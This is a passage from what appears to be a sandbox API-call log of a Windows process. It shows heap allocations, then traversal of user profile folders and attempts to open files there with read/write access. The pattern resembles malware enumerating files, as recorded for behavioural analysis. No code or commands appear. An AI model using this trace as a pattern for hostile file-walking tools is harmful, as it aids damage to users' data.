returned 0x307f550 [0120.987] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.987] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0120.987] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0120.987] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0120.987] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.987] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0120.987] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0120.987] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0120.987] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.987] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0120.988] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0120.988] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.988] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.988] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0120.988] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0120.988] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.988] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.988] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0120.988] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0120.988] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0120.988] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.988] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0120.988] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0120.988] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0120.988] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.988] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0120.988] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0120.988] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.988] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.988] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0120.988] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0120.988] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.988] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.988] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0120.988] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0120.988] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.988] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.988] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0120.988] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0120.988] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.988] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.989] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0120.989] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0120.989] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.989] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.989] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0120.989] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0120.989] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.989] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.989] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0120.989] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0120.989] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.989] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.989] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0120.989] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0120.989] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.989] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0120.989] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.989] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.989] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0120.989] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0120.989] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.989] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.989] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0120.989] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0120.989] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.989] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0120.989] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.989] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.989] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0120.989] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0120.989] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0120.990] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.990] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0120.990] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0120.990] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0120.990] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.990] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0120.990] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0120.990] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.990] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.990] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0120.990] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0120.990] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.990] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.990] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0120.990] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0120.990] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.990] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0120.990] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.990] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.990] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0120.990] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0120.990] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0120.990] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.990] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0120.990] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0120.990] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0120.990] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.990] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0120.990] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0120.990] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.991] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.991] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0120.991] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0120.991] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.991] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.991] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0120.991] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0120.991] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.991] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.991] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0120.991] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0120.991] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.991] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.991] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0120.991] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0120.991] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.991] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.991] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0120.991] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0120.991] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.991] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.991] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0120.991] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0120.991] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.991] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.991] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0120.991] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0120.991] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.991] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0120.991] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.991] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.992] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0120.992] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0120.992] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.992] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.992] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0120.992] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0120.992] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0120.992] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.992] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0120.992] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0120.992] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\") returned="Saved Games\\" [0120.992] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0120.992] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0120.992] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0120.992] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0120.992] PathFindFileNameW (pszPath="") returned="" [0120.992] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0120.992] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0120.992] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.992] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0120.992] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini") returned=".ini" [0120.992] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f61740 | out: hHeap=0x5e0000) returned 1 [0120.992] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0120.992] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0120.993] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0120.993] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0120.993] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\") returned="Searches\\" [0120.993] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0120.993] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0120.993] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0120.993] PathFindFileNameW (pszPath="") returned="" [0120.993] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0120.993] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.993] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0120.993] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini") returned=".ini" [0120.993] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1 [0120.993] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms") returned=".search-ms" [0120.993] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\everywhere.search-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0120.993] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 1 [0120.994] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms") returned=".search-ms" [0120.994] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\indexed locations.search-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0120.994] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0 [0120.994] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0120.994] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0120.994] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0120.994] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\") returned="SendTo\\" [0120.994] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0120.994] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0120.994] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0120.994] PathFindFileNameW (pszPath="") returned="" [0120.994] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0120.994] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0120.994] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0120.994] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\") returned="Start Menu\\" [0120.994] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0120.995] PathFindFileNameW 